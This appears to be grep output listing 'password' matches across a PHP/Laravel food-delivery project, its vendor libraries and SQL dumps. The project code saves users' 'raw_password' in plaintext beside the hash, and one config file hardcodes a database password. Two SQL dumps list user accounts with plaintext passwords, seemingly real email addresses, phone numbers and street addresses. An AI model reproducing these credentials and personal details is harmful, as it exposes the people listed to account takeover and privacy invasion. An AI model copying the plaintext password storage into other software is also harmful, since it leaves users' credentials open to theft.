[\Illuminate\Auth\Passwords\PasswordBroker::class, \Illuminate\Contracts\Auth\PasswordBroker::class], ./vendor/laravel/framework/src/Illuminate/Foundation/Testing/Concerns/MakesHttpRequests.php: * @param string $password ./vendor/laravel/framework/src/Illuminate/Foundation/Testing/Concerns/MakesHttpRequests.php: public function withBasicAuth(string $username, string $password) ./vendor/laravel/framework/src/Illuminate/Foundation/Testing/Concerns/MakesHttpRequests.php: return $this->withToken(base64_encode("$username:$password"), 'Basic'); ./vendor/laravel/framework/src/Illuminate/Contracts/Auth/Authenticatable.php: * Get the name of the password attribute for the user. ./vendor/laravel/framework/src/Illuminate/Contracts/Auth/Authenticatable.php: * Get the password for the user. ./vendor/laravel/framework/src/Illuminate/Contracts/Auth/PasswordBroker.php: const RESET_LINK_SENT = 'passwords.sent'; ./vendor/laravel/framework/src/Illuminate/Contracts/Auth/PasswordBroker.php: * Constant representing a successfully reset password. ./vendor/laravel/framework/src/Illuminate/Contracts/Auth/PasswordBroker.php: const PASSWORD_RESET = 'passwords.reset'; ./vendor/laravel/framework/src/Illuminate/Contracts/Auth/PasswordBroker.php: const INVALID_USER = 'passwords.user'; ./vendor/laravel/framework/src/Illuminate/Contracts/Auth/PasswordBroker.php: const INVALID_TOKEN = 'passwords.token'; ./vendor/laravel/framework/src/Illuminate/Contracts/Auth/PasswordBroker.php: const RESET_THROTTLED = 'passwords.throttled'; ./vendor/laravel/framework/src/Illuminate/Contracts/Auth/PasswordBroker.php: * Send a password reset link to a user. ./vendor/laravel/framework/src/Illuminate/Contracts/Auth/PasswordBroker.php: * Reset the password for the given token. ./vendor/laravel/framework/src/Illuminate/Contracts/Auth/PasswordBrokerFactory.php: * Get a password broker instance by name. ./vendor/laravel/framework/src/Illuminate/Contracts/Auth/CanResetPassword.php: * Get the e-mail address where password reset links are sent. ./vendor/laravel/framework/src/Illuminate/Contracts/Auth/CanResetPassword.php: * Send the password reset notification. ./vendor/laravel/framework/src/Illuminate/Contracts/Auth/UserProvider.php: * Rehash the user's password if required and supported. ./vendor/laravel/framework/src/Illuminate/Session/Store.php: * Specify that the user has confirmed their password. ./vendor/laravel/framework/src/Illuminate/Session/Store.php: public function passwordConfirmed() ./vendor/laravel/framework/src/Illuminate/Session/Store.php: $this->put('auth.password_confirmed_at', Date::now()->unix()); ./vendor/laravel/framework/src/Illuminate/Session/Middleware/AuthenticateSession.php: $passwordHashFromCookie = explode('|', $request->cookies->get($this->guard()->getRecallerName()))[2] ?? null; ./vendor/laravel/framework/src/Illuminate/Session/Middleware/AuthenticateSession.php: if (! $passwordHashFromCookie || ./vendor/laravel/framework/src/Illuminate/Session/Middleware/AuthenticateSession.php: ! $this->validatePasswordHash($request->user()->getAuthPassword(), $passwordHashFromCookie)) { ./vendor/laravel/framework/src/Illuminate/Session/Middleware/AuthenticateSession.php: if (! $request->session()->has('password_hash_'.$this->auth->getDefaultDriver())) { ./vendor/laravel/framework/src/Illuminate/Session/Middleware/AuthenticateSession.php: $sessionPasswordHash = $request->session()->get('password_hash_'.$this->auth->getDefaultDriver()); ./vendor/laravel/framework/src/Illuminate/Session/Middleware/AuthenticateSession.php: * Store the user's current password hash in the session. ./vendor/laravel/framework/src/Illuminate/Session/Middleware/AuthenticateSession.php: 'password_hash_'.$this->auth->getDefaultDriver() => $this->guard()->hashPasswordForCookie($request->user()->getAuthPassword()), ./vendor/laravel/framework/src/Illuminate/Session/Middleware/AuthenticateSession.php: * Validate the password hash against the stored value. ./vendor/laravel/framework/src/Illuminate/Session/Middleware/AuthenticateSession.php: * @param string $passwordHash ./vendor/laravel/framework/src/Illuminate/Session/Middleware/AuthenticateSession.php: protected function validatePasswordHash($passwordHash, $storedValue) ./vendor/laravel/framework/src/Illuminate/Session/Middleware/AuthenticateSession.php: if (hash_equals($this->guard()->hashPasswordForCookie($passwordHash), $storedValue)) { ./vendor/laravel/framework/src/Illuminate/Session/Middleware/AuthenticateSession.php: // Fall back to raw password hash format for backward compatibility... ./vendor/laravel/framework/src/Illuminate/Session/Middleware/AuthenticateSession.php: return hash_equals($passwordHash, $storedValue); ./vendor/laravel/framework/src/Illuminate/Cache/MemcachedConnector.php: [$username, $password] = $credentials; ./vendor/laravel/framework/src/Illuminate/Cache/MemcachedConnector.php: $memcached->setSaslAuthData($username, $password); ./vendor/laravel/framework/src/Illuminate/Support/Facades/Session.php: * @method static void passwordConfirmed() ./vendor/laravel/framework/src/Illuminate/Support/Facades/Auth.php: * @method static string hashPasswordForCookie(string $passwordHash) ./vendor/laravel/framework/src/Illuminate/Support/Facades/Auth.php: * @method static \Illuminate\Contracts\Auth\Authenticatable|null logoutOtherDevices(string $password) ./vendor/laravel/framework/src/Illuminate/Support/Facades/Http.php: * @method static \Illuminate\Http\Client\PendingRequest withBasicAuth(string $username, string $password) ./vendor/laravel/framework/src/Illuminate/Support/Facades/Http.php: * @method static \Illuminate\Http\Client\PendingRequest withDigestAuth(string $username, string $password) ./vendor/laravel/framework/src/Illuminate/Support/Facades/Http.php: * @method static \Illuminate\Http\Client\PendingRequest withNtlmAuth(string $username, string $password) ./vendor/laravel/framework/src/Illuminate/Support/Facades/Password.php: * Constant representing a successfully sent password reset email. ./vendor/laravel/framework/src/Illuminate/Support/Facades/Password.php: * Constant representing a successfully reset password. ./vendor/laravel/framework/src/Illuminate/Support/Facades/Password.php: * Constant indicating the user could not be found when attempting a password reset. ./vendor/laravel/framework/src/Illuminate/Support/Facades/Password.php: * Constant representing an invalid password reset token. ./vendor/laravel/framework/src/Illuminate/Support/Facades/Password.php: * Constant representing a throttled password reset attempt. ./vendor/laravel/framework/src/Illuminate/Support/Facades/Password.php: return 'auth.password'; ./vendor/laravel/framework/src/Illuminate/Support/ConfigurationUrlParser.php: 'password' => $url['pass'] ?? null, ./vendor/laravel/framework/src/Illuminate/Support/Str.php: * Generate a random, secure password. ./vendor/laravel/framework/src/Illuminate/Support/Str.php: public static function password($length = 32, $letters = true, $numbers = true, $symbols = true, $spaces = false) ./vendor/laravel/framework/src/Illuminate/Support/Str.php: $password = new Collection(); ./vendor/laravel/framework/src/Illuminate/Support/Str.php: ->each(fn ($c) => $password->push($c[random_int(0, count($c) - 1)])) ./vendor/laravel/framework/src/Illuminate/Support/Str.php: $length = $length - $password->count(); ./vendor/laravel/framework/src/Illuminate/Support/Str.php: return $password->merge($options->pipe( ./vendor/laravel/framework/src/Illuminate/Support/Uri.php: * Get the password from the URI. ./vendor/laravel/framework/src/Illuminate/Support/Uri.php: public function password(): ?string ./vendor/laravel/framework/src/Illuminate/Support/Uri.php: * Specify the user and password for the URI. ./vendor/laravel/framework/src/Illuminate/Support/Uri.php: public function withUser(Stringable|string|null $user, #[SensitiveParameter] Stringable|string|null $password = null): static ./vendor/laravel/framework/src/Illuminate/Support/Uri.php: return new static($this->uri->withUserInfo($user, $password)); ./vendor/league/config/README.md: 'password' => Expect::string()->nullable(), ./vendor/league/config/README.md: 'password' => 'secret', ./vendor/league/uri/Http.php: public function withUserInfo(string $user, ?string $password = null): self ./vendor/league/uri/Http.php: return $this->newInstance($this->uri->withUserInfo($this->filterInput($user), $password)); ./vendor/league/uri/Uri.php: #[SensitiveParameter] Stringable|string|null $password = null ./vendor/league/uri/Uri.php: $pass = Encoder::encodePassword($this->filterString($password)); ./vendor/league/uri/Uri.php: if (null !== $password) { ./vendor/league/uri/Uri.php: public function withPassword(#[SensitiveParameter] Stringable|string|null $password): static ./vendor/league/uri/Uri.php: return $this->withUserInfo($this->user, $password); ./vendor/league/uri-interfaces/Encoder.php: * Tell whether the password component is correctly encoded. ./vendor/league/uri-interfaces/Encoder.php: * Normalize password component. ./vendor/league/uri-interfaces/Encoder.php: public static function normalizePassword(#[SensitiveParameter] Stringable|string|null $password): ?string ./vendor/league/uri-interfaces/Encoder.php: return self::normalize(self::encodePassword(self::decodeUnreservedCharacters($password))); ./vendor/league/uri-interfaces/Encoder.php: [$user, $password] = explode(':', (string) $userInfo, 2) + [1 => null]; ./vendor/league/uri-interfaces/Encoder.php: && self::isPasswordEncoded($password); ./vendor/league/uri-interfaces/Encoder.php: [$user, $password] = explode(':', (string) $userInfo, 2) + [1 => null]; ./vendor/league/uri-interfaces/Encoder.php: if (null === $password) { ./vendor/league/uri-interfaces/Encoder.php: return $userInfo.':'.self::encodePassword($password); ./vendor/league/uri-interfaces/Encoder.php: [$user, $password] = explode(':', (string) $userInfo, 2) + [1 => null]; ./vendor/league/uri-interfaces/Encoder.php: if (null === $password) { ./vendor/league/uri-interfaces/Encoder.php: return $userInfo.':'.self::normalizePassword($password); ./vendor/league/uri-interfaces/Contracts/UriInterface.php: * @method self withPassword(?string $password) returns a new URI instance with the password component updated. ./vendor/league/uri-interfaces/Contracts/UriInterface.php: * additionally, if the password is also present, it will be appended to the ./vendor/league/uri-interfaces/Contracts/UriInterface.php: public function withUserInfo(Stringable|string|null $user, Stringable|string|null $password = null): self; ./vendor/league/uri-interfaces/Contracts/AuthorityInterface.php: public function withUserInfo(Stringable|string|null $user, Stringable|string|null $password = null): self; ./vendor/league/uri-interfaces/Contracts/UserInfoInterface.php: * an instance that contains the specified password if the user is specified ./vendor/league/uri-interfaces/Contracts/UserInfoInterface.php: public function withPass(Stringable|string|null $password): self; ./vendor/dflydev/dot-access-data/README.md: 'password' => 'HPASS', ./vendor/dflydev/dot-access-data/README.md: 'password' => 'D---S', ./vendor/dflydev/dot-access-data/README.md: 'password' => 'LP@$$', ./vendor/dflydev/dot-access-data/README.md:$password = $data->get('hosts.hewey.password'); ./vendor/dflydev/dot-access-data/README.md:$password = $dewey->get('password'); ./vendor/dflydev/dot-access-data/README.md: 'password' => '@---S', ./vendor/smalot/pdfparser/doc/Usage.md:a read password. Attempting to do so produces this error: ./vendor/nette/schema/readme.md: public $password; ./vendor/nette/schema/readme.md:// $normalized = {'name' => 'jeff', 'password' => null, 'admin' => false} ./vendor/nette/schema/readme.md: public ?string $password; ./vendor/nette/schema/readme.md: public ?string $password; ./vendor/nette/utils/composer.json: "description": "🛠 Nette Utils: lightweight utilities for string & array manipulation, image handling, safe JSON encoding/decoding, validation, slug or strong password generating etc.", ./vendor/nette/utils/composer.json: "keywords": ["nette", "images", "json", "password", "validation", "utility", "string", "array", "core", "slugify", "utf-8", "unicode", "paginator", "datetime"], ./vendor/composer/installed.json: "description": "🛠 Nette Utils: lightweight utilities for string & array manipulation, image handling, safe JSON encoding/decoding, validation, slug or strong password generating etc.", ./vendor/composer/installed.json: "password", ./vendor/fakerphp/faker/rector-migrate.php: 'password', ./vendor/fakerphp/faker/src/Faker/Generator.php: * @property string $password ./vendor/fakerphp/faker/src/Faker/Generator.php: * @method string password($minLength = 6, $maxLength = 20) ./vendor/fakerphp/faker/src/Faker/Provider/HtmlLorem.php: $passwordInput = $element->ownerDocument->createElement(static::INPUT_TAG); ./vendor/fakerphp/faker/src/Faker/Provider/HtmlLorem.php: $passwordInput->setAttribute('type', 'password'); ./vendor/fakerphp/faker/src/Faker/Provider/HtmlLorem.php: $passwordInput->setAttribute('id', 'password'); ./vendor/fakerphp/faker/src/Faker/Provider/HtmlLorem.php: $passwordLabel = $element->ownerDocument->createElement(static::LABEL_TAG); ./vendor/fakerphp/faker/src/Faker/Provider/HtmlLorem.php: $passwordLabel->setAttribute('for', 'password'); ./vendor/fakerphp/faker/src/Faker/Provider/HtmlLorem.php: $passwordLabel->textContent = $this->generator->word(); ./vendor/fakerphp/faker/src/Faker/Provider/HtmlLorem.php: $submit->appendChild($passwordLabel); ./vendor/fakerphp/faker/src/Faker/Provider/HtmlLorem.php: $submit->appendChild($passwordInput); ./vendor/fakerphp/faker/src/Faker/Provider/Internet.php: public function password($minLength = 6, $maxLength = 20) ./app/Models/User.php: 'password', ./app/Models/User.php: 'password', ./app/Models/User.php: 'password' => 'hashed', ./app/Models/Restaurant.php: 'raw_password' ./app/Http/Controllers/Auth/ResetPasswordController.php: | This controller is responsible for handling password reset requests ./app/Http/Controllers/Auth/ResetPasswordController.php: * Where to redirect users after resetting their password. ./app/Http/Controllers/Auth/ConfirmPasswordController.php: | This controller is responsible for handling password confirmations and ./app/Http/Controllers/Auth/RegisterController.php: 'password' => ['required', 'string', 'min:8', 'confirmed'], ./app/Http/Controllers/Auth/RegisterController.php: 'password' => Hash::make($data['password']), ./app/Http/Controllers/Auth/ForgotPasswordController.php: | This controller is responsible for handling password reset emails and ./app/Http/Controllers/RestaurantController.php: 'raw_password' => 'required|min:6', ./app/Http/Controllers/RestaurantController.php: 'raw_password' => $request->raw_password, ./app/Http/Controllers/RestaurantController.php: 'password' => Hash::make($request->raw_password), ./app/Http/Controllers/RestaurantController.php: 'raw_password' => 'required|min:6', ./app/Http/Controllers/RestaurantController.php: 'raw_password' => $request->raw_password, ./app/Http/Controllers/RestaurantController.php: 'password' => Hash::make($request->raw_password), ./cursor/backend/index.php: ./cursor/backend/index.php: ./cursor/backend/index.php: ./config/database.php: 'password' => env('DB_PASSWORD', ''), ./config/database.php: 'password' => env('DB_PASSWORD', ''), ./config/database.php: 'password' => env('DB_PASSWORD', ''), ./config/database.php: 'password' => env('DB_PASSWORD', ''), ./config/database.php: 'password' => env('REDIS_PASSWORD'), ./config/database.php: 'password' => env('REDIS_PASSWORD'), ./config/auth.php: | This option defines the default authentication "guard" and password ./config/auth.php: 'passwords' => env('AUTH_PASSWORD_BROKER', 'users'), ./config/auth.php: | These configuration options specify the behavior of Laravel's password ./config/auth.php: | generating more password reset tokens. This prevents the user from ./config/auth.php: | quickly generating a very large amount of password reset tokens. ./config/auth.php: 'passwords' => [ ./config/auth.php: 'table' => env('AUTH_PASSWORD_RESET_TOKEN_TABLE', 'password_reset_tokens'), ./config/auth.php: | Here you may define the number of seconds before a password confirmation ./config/auth.php: | window expires and users are asked to re-enter their password via the ./config/auth.php: 'password_timeout' => env('AUTH_PASSWORD_TIMEOUT', 10800), ./config/mail.php: 'password' => env('MAIL_PASSWORD'), ./posacct_project/ai/database.sql:-- Replace 'your_secure_password' with a strong password. ./posacct_project/ai/database.sql:-- CREATE USER IF NOT EXISTS 'pdf_app'@'localhost' IDENTIFIED BY 'your_secure_password'; ./posacct_project/ai/database.sql: password VARCHAR(255) NOT NULL, ./posacct_project/ai/register.php: $password = $_POST['password'] ?? ''; ./posacct_project/ai/register.php: $confirm_password = $_POST['confirm_password'] ?? ''; ./posacct_project/ai/register.php: if (empty($username) || empty($email) || empty($password)) { ./posacct_project/ai/register.php: } elseif ($password !== $confirm_password) { ./posacct_project/ai/register.php: } elseif (!preg_match('/^(?=.*[a-z])(?=.*[A-Z])(?=.*\d)(?=.*[@$!%*?&])[A-Za-z\d@$!%*?&]{8,}$/', $password)) { ./posacct_project/ai/register.php: $hashed_password = password_hash($password, PASSWORD_DEFAULT); ./posacct_project/ai/register.php: $stmt = $pdo->prepare("INSERT INTO users (username, email, password, verification_token) VALUES (?, ?, ?, ?)"); ./posacct_project/ai/register.php: if ($stmt->execute([$username, $email, $hashed_password, $verification_token])) { ./posacct_project/ai/register.php: ./posacct_project/ai/register.php: ./posacct_project/ai/register.php: const passwordInput = document.getElementById('password'); ./posacct_project/ai/register.php: passwordInput.addEventListener('input', () => { ./posacct_project/ai/register.php: const val = passwordInput.value; ./posacct_project/ai/db.php:$password = "RootDb@2024"; ./posacct_project/ai/db.php: $pdo = new PDO("mysql:host=$host;dbname=$dbname", $username, $password); ./posacct_project/ai/includes/mailer.php: $resetLink = "$protocol://$host/agentgpt/php/reset_password.php?token=$token"; ./posacct_project/ai/includes/mailer.php: $mail->Subject = 'Reset your password for Ai AgentGpt'; ./posacct_project/ai/includes/mailer.php:

We received a request to reset your password. Click the button below to create a new password:

./posacct_project/ai/includes/mailer.php:

If you did not request a password reset, you can safely ignore this email.

./posacct_project/ai/includes/mailer.php: $mail->AltBody = "Click here to reset your password: $resetLink"; ./posacct_project/ai/vendor/phpmailer/phpmailer/README.md: $mail->Password = 'secret'; //SMTP password ./posacct_project/ai/vendor/phpmailer/phpmailer/src/POP3.php: * POP3 password. ./posacct_project/ai/vendor/phpmailer/phpmailer/src/POP3.php: public $password; ./posacct_project/ai/vendor/phpmailer/phpmailer/src/POP3.php: * @param string $password ./posacct_project/ai/vendor/phpmailer/phpmailer/src/POP3.php: $password = '', ./posacct_project/ai/vendor/phpmailer/phpmailer/src/POP3.php: return $pop->authorise($host, $port, $timeout, $username, $password, $debug_level); ./posacct_project/ai/vendor/phpmailer/phpmailer/src/POP3.php: * @param string $password ./posacct_project/ai/vendor/phpmailer/phpmailer/src/POP3.php: public function authorise($host, $port = false, $timeout = false, $username = '', $password = '', $debug_level = 0) ./posacct_project/ai/vendor/phpmailer/phpmailer/src/POP3.php: $this->password = $password; ./posacct_project/ai/vendor/phpmailer/phpmailer/src/POP3.php: $login_result = $this->login($this->username, $this->password); ./posacct_project/ai/vendor/phpmailer/phpmailer/src/POP3.php: * @param string $password ./posacct_project/ai/vendor/phpmailer/phpmailer/src/POP3.php: public function login($username = '', $password = '') ./posacct_project/ai/vendor/phpmailer/phpmailer/src/POP3.php: if (empty($password)) { ./posacct_project/ai/vendor/phpmailer/phpmailer/src/POP3.php: $password = $this->password; ./posacct_project/ai/vendor/phpmailer/phpmailer/src/POP3.php: $this->sendString("PASS $password" . static::LE); ./posacct_project/ai/vendor/phpmailer/phpmailer/src/PHPMailer.php: * SMTP password. ./posacct_project/ai/vendor/phpmailer/phpmailer/src/PHPMailer.php: * The S/MIME password for the key. ./posacct_project/ai/vendor/phpmailer/phpmailer/src/PHPMailer.php: * Set the public and private key files and password for S/MIME signing. ./posacct_project/ai/vendor/phpmailer/phpmailer/src/SMTP.php: * @param string $password The password ./posacct_project/ai/vendor/phpmailer/phpmailer/src/SMTP.php: $password, ./posacct_project/ai/vendor/phpmailer/phpmailer/src/SMTP.php: //Send encoded username and password ./posacct_project/ai/vendor/phpmailer/phpmailer/src/SMTP.php: base64_encode("\0" . $username . "\0" . $password), ./posacct_project/ai/vendor/phpmailer/phpmailer/src/SMTP.php: if (!$this->sendCommand('Password', base64_encode($password), 235)) { ./posacct_project/ai/vendor/phpmailer/phpmailer/src/SMTP.php: $response = $username . ' ' . $this->hmac($challenge, $password); ./posacct_project/ai/forgot_password.php: $message = "We've sent a password reset link to your email."; ./posacct_project/ai/forgot_password.php:

Forgot password?

./posacct_project/ai/login.php: $password = $_POST['password'] ?? ''; ./posacct_project/ai/login.php: if (empty($email) || empty($password)) { ./posacct_project/ai/login.php: if ($user && password_verify($password, $user['password'])) { ./posacct_project/ai/login.php: $error = "Invalid email or password."; ./posacct_project/ai/login.php:
Forgot password? ./posacct_project/ai/login.php: ./posacct_project/ai/reset_password.php: $error = "This password reset link is invalid or has expired."; ./posacct_project/ai/reset_password.php: $password = $_POST['password'] ?? ''; ./posacct_project/ai/reset_password.php: $confirm_password = $_POST['confirm_password'] ?? ''; ./posacct_project/ai/reset_password.php: if (strlen($password) < 8) { ./posacct_project/ai/reset_password.php: } elseif ($password !== $confirm_password) { ./posacct_project/ai/reset_password.php: $new_hash = password_hash($password, PASSWORD_DEFAULT); ./posacct_project/ai/reset_password.php: $stmt = $pdo->prepare("UPDATE users SET password = ?, reset_token_hash = NULL, reset_token_expires_at = NULL WHERE id = ?"); ./posacct_project/ai/reset_password.php:

Set new password

./posacct_project/ai/reset_password.php:

Please choose a strong password for your account

./posacct_project/ai/reset_password.php: Request a new link ./posacct_project/ai/reset_password.php: ./posacct_project/ai/reset_password.php: ./posacct_project/environment_server.php:$envirement['password'] = ''; ./posacct_project/only_users.sql:INSERT INTO `users` VALUES (1,'admin@admin.com','1234567890','Admin User','1234567890',NULL,'admin','2025-10-24 16:09:09',1,'2025-12-28 05:28:42'),(2,'l@gmail.com','password.00','k','123456789',NULL,'customer','2025-10-24 16:11:38',1,'2025-10-24 17:57:23'),(3,'k@gmail.com','QWERTY','k','12345','multan','customer','2025-10-24 17:10:15',1,'2025-11-05 12:21:43'),(6,'bonash@gmail.com','bonash','Bonash','12345',NULL,'restaurant','2025-10-24 17:43:10',1,'2026-02-19 03:40:43'),(7,'aznali@gmail.com','bonash','Ali','123456',NULL,'restaurant','2025-10-31 03:52:45',1,'2025-11-09 03:28:14'),(9,'kofabi6652@magpit.com','qwerty','AZNASH','12434',NULL,'delivery','2025-11-03 11:16:40',1,'2025-11-03 11:51:19'),(10,'kofabi6652@magpit.co','qwerty','Azn','1234567',NULL,'delivery','2025-11-03 12:52:03',1,'2025-11-16 14:24:53'),(11,'s2@gmail.com','qwerty','AZNASH','12434','Pakistan','customer','2025-11-04 02:55:40',1,'2026-02-14 03:41:46'),(20,'shan1@gmail.com','qwerty','Ahmad','123456',NULL,'restaurant','2025-11-05 11:27:38',1,NULL),(21,'siusarboy@gmail.com','1234567890','mycustomer','4159387930','10013, Manhattan, New York County, New York, United States','customer','2025-11-06 02:08:51',1,'2025-11-18 03:18:00'),(22,'sanmiwagoinc@gmail.com','1234567890','mypizzahut','4159387930',NULL,'restaurant','2025-11-06 02:10:26',1,'2025-11-14 03:00:34'),(23,'siusarboy3@gmail.com','1234567890','mydriver','4159387930',NULL,'delivery','2025-11-06 02:12:25',1,'2025-11-14 03:46:14'),(24,'zumarh589@gmail.com','Abc123@*','Urwa','2139738862','10013, Manhattan, New York County, New York, United States','customer','2025-11-18 02:59:08',1,NULL),(25,'techavenzor@gmail.com','Abc123@*','Urwa','2139738862',NULL,'restaurant','2025-12-28 04:03:16',1,'2026-01-13 02:07:16'),(26,'acba2672@gmail.com','Abc123@*','Urwa','2139738862','265 Canal St., STE 304, New york, NY 10013','customer','2025-12-28 04:16:05',1,'2026-02-12 01:33:23'),(27,'undefinedsoul319@gmail.com','Abc123@*','Rider','2139738862',NULL,'delivery','2025-12-28 04:17:58',1,'2025-12-28 05:43:24'); ./posacct_project/final_users.sql:INSERT INTO `users` VALUES (1,'admin@admin.com','1234567890','Admin User','1234567890',NULL,'admin','2025-10-24 16:09:09',1,'2025-12-28 05:28:42'),(2,'l@gmail.com','password.00','k','123456789',NULL,'customer','2025-10-24 16:11:38',1,'2025-10-24 17:57:23'),(3,'k@gmail.com','QWERTY','k','12345','multan','customer','2025-10-24 17:10:15',1,'2025-11-05 12:21:43'),(6,'bonash@gmail.com','bonash','Bonash','12345',NULL,'restaurant','2025-10-24 17:43:10',1,'2026-02-19 03:40:43'),(7,'aznali@gmail.com','bonash','Ali','123456',NULL,'restaurant','2025-10-31 03:52:45',1,'2025-11-09 03:28:14'),(9,'kofabi6652@magpit.com','qwerty','AZNASH','12434',NULL,'delivery','2025-11-03 11:16:40',1,'2025-11-03 11:51:19'),(10,'kofabi6652@magpit.co','qwerty','Azn','1234567',NULL,'delivery','2025-11-03 12:52:03',1,'2025-11-16 14:24:53'),(11,'s2@gmail.com','qwerty','AZNASH','12434','Pakistan','customer','2025-11-04 02:55:40',1,'2026-02-14 03:41:46'),(20,'shan1@gmail.com','qwerty','Ahmad','123456',NULL,'restaurant','2025-11-05 11:27:38',1,NULL),(21,'siusarboy@gmail.com','1234567890','mycustomer','4159387930','10013, Manhattan, New York County, New York, United States','customer','2025-11-06 02:08:51',1,'2025-11-18 03:18:00'),(22,'sanmiwagoinc@gmail.com','1234567890','mypizzahut','4159387930',NULL,'restaurant','2025-11-06 02:10:26',1,'2025-11-14 03:00:34'),(23,'siusarboy3@gmail.com','1234567890','mydriver','4159387930',NULL,'delivery','2025-11-06 02:12:25',1,'2025-11-14 03:46:14'),(24,'zumarh589@gmail.com','Abc123@*','Urwa','2139738862','10013, Manhattan, New York County, New York, United States','customer','2025-11-18 02:59:08',1,NULL),(25,'techavenzor@gmail.com','Abc123@*','Urwa','2139738862',NULL,'restaurant','2025-12-28 04:03:16',1,'2026-01-13 02:07:16'),(26,'acba2672@gmail.com','Abc123@*','Urwa','2139738862','265 Canal St., STE 304, New york, NY 10013','customer','2025-12-28 04:16:05',1,'2026-02-12 01:33:23'),(27,'undefinedsoul319@gmail.com','Abc123@*','Rider','2139738862',NULL,'delivery','2025-12-28 04:17:58',1,'2025-12-28 05:43:24'); ./posacct_project/pos_db_backup.sql:INSERT INTO `component` VALUES (1,1,'file://component_validate_password'); ./posacct_project/pos_db_backup.sql:INSERT INTO `help_topic` VALUES (0,'HELP_DATE',1,'This help information was generated from the MySQL 8.0 Reference Manual\non: 2024-09-17\n','',''),(1,'HELP_VERSION',1,'This help information was generated from the MySQL 8.0 Reference Manual\non: 2024-09-17 (revision: 79718)\n\nThis information applies to MySQL 8.0 through 8.0.39.\n','',''),(2,'AUTO_INCREMENT',2,'The AUTO_INCREMENT attribute can be used to generate a unique identity\nfor new rows:\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/example-auto-increment.html\n\n','CREATE TABLE animals (\n id MEDIUMINT NOT NULL AUTO_INCREMENT,\n name CHAR(30) NOT NULL,\n PRIMARY KEY (id)\n);\n\nINSERT INTO animals (name) VALUES\n (\'dog\'),(\'cat\'),(\'penguin\'),\n (\'lax\'),(\'whale\'),(\'ostrich\');\n\nSELECT * FROM animals;\n','https://dev.mysql.com/doc/refman/8.0/en/example-auto-increment.html'),(3,'HELP COMMAND',3,'Syntax:\nmysql> help search_string\n\nIf you provide an argument to the help command, mysql uses it as a\nsearch string to access server-side help from the contents of the MySQL\nReference Manual. The proper operation of this command requires that\nthe help tables in the mysql database be initialized with help topic\ninformation (see\nhttps://dev.mysql.com/doc/refman/8.0/en/server-side-help-support.html).\n\nIf there is no match for the search string, the search fails:\n\nmysql> help me\n\nNothing found\nPlease try to run \'help contents\' for a list of all accessible topics\n\nUse help contents to see a list of the help categories:\n\nmysql> help contents\nYou asked for help about help category: \"Contents\"\nFor more information, type \'help \', where is one of the\nfollowing categories:\n Account Management\n Administration\n Data Definition\n Data Manipulation\n Data Types\n Functions\n Functions and Modifiers for Use with GROUP BY\n Geographic Features\n Language Structure\n Plugins\n Storage Engines\n Stored Routines\n Table Maintenance\n Transactions\n Triggers\n\nIf the search string matches multiple items, mysql shows a list of\nmatching topics:\n\nmysql> help logs\nMany help items for your request exist.\nTo make a more specific request, please type \'help \',\nwhere is one of the following topics:\n SHOW\n SHOW BINARY LOGS\n SHOW ENGINE\n SHOW LOGS\n\nUse a topic as the search string to see the help entry for that topic:\n\nmysql> help show binary logs\nName: \'SHOW BINARY LOGS\'\nDescription:\nSyntax:\nSHOW BINARY LOGS\nSHOW MASTER LOGS\n\nLists the binary log files on the server. This statement is used as\npart of the procedure described in [purge-binary-logs], that shows how\nto determine which logs can be purged.\n\nmysql> SHOW BINARY LOGS;\n+---------------+-----------+-----------+\n| Log_name | File_size | Encrypted |\n+---------------+-----------+-----------+\n| binlog.000015 | 724935 | Yes |\n| binlog.000016 | 733481 | Yes |\n+---------------+-----------+-----------+\n\nThe search string can contain the wildcard characters % and _. These\nhave the same meaning as for pattern-matching operations performed with\nthe LIKE operator. For example, HELP rep% returns a list of topics that\nbegin with rep:\n\nmysql> HELP rep%\nMany help items for your request exist.\nTo make a more specific request, please type \'help \',\nwhere is one of the following\ntopics:\n REPAIR TABLE\n REPEAT FUNCTION\n REPEAT LOOP\n REPLACE\n REPLACE FUNCTION\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/mysql-server-side-help.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/mysql-server-side-help.html'),(4,'ASYMMETRIC_DECRYPT',5,'Syntax:\nasymmetric_decrypt(algorithm, data_str, priv_key_str)\n\nDecrypts an encrypted string using the given algorithm and key string,\nand returns the resulting plaintext as a binary string. If decryption\nfails, the result is NULL.\n\nFor the legacy version of this function in use before MySQL 8.0.29, see\nhttps://dev.mysql.com/doc/refman/8.0/en/enterprise-encryption-functions\n-legacy.html.\n\nBy default, the component_enterprise_encryption function assumes that\nencrypted text uses the RSAES-OAEP padding scheme. The function\nsupports decryption for content encrypted by the legacy openssl_udf\nshared library functions if the system variable\nenterprise_encryption.rsa_support_legacy_padding is set to ON (the\ndefault is OFF). When ON is set, the function also supports the\nRSAES-PKCS1-v1_5 padding scheme, as used by the legacy openssl_udf\nshared library functions. When OFF is set, content encrypted by the\nlegacy functions cannot be decrypted, and the function returns null\noutput for such content.\n\nalgorithm is the encryption algorithm used to create the key. The\nsupported algorithm value is \'RSA\'.\n\ndata_str is the encrypted string to decrypt, which was encrypted with\nasymmetric_encrypt().\n\npriv_key_str is a valid PEM encoded RSA private key. For successful\ndecryption, the key string must correspond to the public key string\nused with asymmetric_encrypt() to produce the encrypted string. The\nasymmetric_encrypt() component function only supports encryption using\na public key, so decryption takes place with the corresponding private\nkey.\n\nFor a usage example, see the description of asymmetric_encrypt().\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/enterprise-encryption-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/enterprise-encryption-functions.html'),(5,'ASYMMETRIC_ENCRYPT',5,'Syntax:\nasymmetric_encrypt(algorithm, data_str, pub_key_str)\n\nEncrypts a string using the given algorithm and key string, and returns\nthe resulting ciphertext as a binary string. If encryption fails, the\nresult is NULL.\n\nFor the legacy version of this function in use before MySQL 8.0.29, see\nhttps://dev.mysql.com/doc/refman/8.0/en/enterprise-encryption-functions\n-legacy.html.\n\nalgorithm is the encryption algorithm used to create the key. The\nsupported algorithm value is \'RSA\'.\n\ndata_str is the string to encrypt. The length of this string cannot be\ngreater than the key string length in bytes, minus 42 (to account for\nthe padding).\n\npub_key_str is a valid PEM encoded RSA public key. The\nasymmetric_encrypt() component function only supports encryption using\na public key.\n\nTo recover the original unencrypted string, pass the encrypted string\nto asymmetric_decrypt(), along with the other part of the key pair used\nfor encryption, as in the following example:\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/enterprise-encryption-functions.html\n\n','-- Generate private/public key pair\nSET @priv = 